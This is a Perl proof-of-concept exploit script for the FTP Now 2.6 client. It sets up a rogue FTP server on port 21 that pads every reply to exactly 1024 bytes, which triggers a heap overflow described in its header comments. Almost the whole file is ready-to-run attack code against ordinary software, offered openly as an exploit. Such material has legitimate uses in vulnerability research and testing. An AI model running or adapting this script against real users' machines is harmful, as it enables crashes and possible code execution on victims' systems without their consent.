ftpnow-poc.txt

`#!/usr/bin/perl  
# By Dr.Pantagon  
# www.deltasecurity.ir  
# DeltaSecurityCenter  
# Special Tnx D_7J AND H!V++  
# FTP Now version 2.6 Server Response PoC  
# Usage: ./ftpnow.pl [IP]  
# Download Link : http://www.network-client.com/ftpnow/FTPNow26.exe  
#  
# Details: The response is broken into buffers, either at length 1024,  
# or at '\r\n'. Each buffer is apended with \x00, without  
# bounds checking. If the response is exctly 1024 characters  
# in length, you will overflow the heap with the string \x00.  
  
  
use IO::Socket;  
use strict;  
  
# Create listener  
my $ip=shift || '127.0.0.1'; # Default ip  
my $sock = IO::Socket::INET->new(Listen=>1,  
LocalHost=>$ip,  
LocalPort=>'21', #Default port  
Proto=>'tcp');  
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");  
  
# Wait for initial connection and send banner  
my $sock_in = $sock->accept();  
print $sock_in "220 dara daram , dara daram :D \r\n";  
  
# Send response code with total lenght of response = 1024  
while (<$sock_in>){  
my $response;  
if($_ eq "USER") { $response="331 ";}  
elsif($_ eq "PASS") { $response="230 ";}  
elsif($_ eq "syst") { $response="215 ";}  
elsif($_ eq "CWD") { $response="250 ";}  
elsif($_ eq "PWD") { $response="230 ";}  
else { $response="200 ";}  
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";  
}  
close($sock);  
  
  
`